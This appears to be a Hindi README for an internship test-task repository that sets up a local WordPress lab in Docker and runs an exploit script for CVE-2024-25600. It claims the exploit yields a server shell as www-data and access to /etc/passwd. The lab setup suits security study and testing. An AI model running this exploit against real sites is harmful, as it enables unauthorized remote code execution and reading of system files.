sibul-dan-glokta/test-task-cve-2024-25600इंटर्नशिप परीक्षण कार्य के लिए रिपॉजिटरी।
इंटर्नशिप परीक्षण-कार्य के लिए रिपॉजिटरी।
git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600
sudo systemctl start docker.service
डॉकर कंटेनर शुरू करने के लिए wp_container निर्देशिका पर जाएँ
cd path/to/wp_container
डॉकर कंटेनर शुरू करें
sudo docker compose up -d
WP साइट को ठीक से काम करने में लगभग 30 सेकंड लग सकते हैं। यह सत्यापित करने के लिए कि WP पेज शुरू हुआ, निम्नलिखित कमांड जारी करें:
curl http://127.0.0.1:8080
आउटपुट में HTML कोड दिखना चाहिए। और कोई त्रुटि नहीं होनी चाहिए।
python -m venv /path/to/new/virtual/environment
आवश्यक निर्भरताएँ स्थापित करने के लिए exploit निर्देशिका पर जाएँ और निम्नलिखित कमांड चलाएँ:
path/to/new/virtual/environment/bin/pip install -r requirements.txt
exploit निर्देशिका में रहते हुए शोषण चलाने के लिए निम्नलिखित कमांड जारी करें:
path/to/new/virtual/environment/bin/python3 exploit.py -u http://127.0.0.1:8080
यह आपको www-data के रूप में सर्वर शेल तक पहुँच प्रदान करेगा। और आपके पास /etc/passwd तक पहुँच होगी।
शोषण स्क्रिप्ट और whoami का आउटपुट
